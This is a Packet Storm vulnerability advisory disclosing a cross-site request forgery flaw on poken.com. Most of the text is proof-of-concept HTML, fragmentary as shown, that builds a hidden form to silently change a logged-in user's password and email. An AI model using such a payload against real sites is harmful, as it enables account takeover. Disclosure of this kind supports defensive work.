Poken.com Cross Site Request Forgery

Type packetstorm
Reporter Packet Storm
Modified 2011-05-14T00:00:00


                                            `Poken is a technology that utilizes a proprietary Near Field Communication  
(NFC) technology to allow the exchange of online social networking data  
between two keychain accessories.  
Poken.com is the website where poken users can edit their profiles, and  
browse other poken friends they already met.  
There is a plain CSRF vulnerability at poken.com, which can be exploited in  
order to change the password of the logged-in poken user.  
The site uses no random CSRF tokens, or asks for the current password before  
changing to the new one.  
POC HTML code generated by the OWASP CRSFTester:  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
<title>Poken.com CSRF POC by Z - OWASP CRSFTester Demonstration</title>  
<H2>Poken.com CSRF POC by Z - OWASP CRSFTester Demonstration</H2>  
<iframe name="evilframe"  
var evilframe = window.frames["evilframe"];  
'<form method="POST" id="evil" name="evil"  
action="http://user.poken.com:80/settings">' +   
'<input type="hidden" name="settings[alias]" value="ALIAS"/>' +   
'<input type="hidden" name="settings[email]" value="email@example.com"/>' +   
'<input type="hidden" name="settings[password_new]" value="NewPassword"/>' +  
'<input type="hidden" name="settings[password_repeat]"  
value="NewPassword"/>' +   
'<input type="hidden" name="settings[lang]" value="en"/>' +   
'<input type="hidden" name="settings[country]" value="US"/>' +   
'<input type="hidden" name="settings[timezone]" value="Europe/Budapest"/>'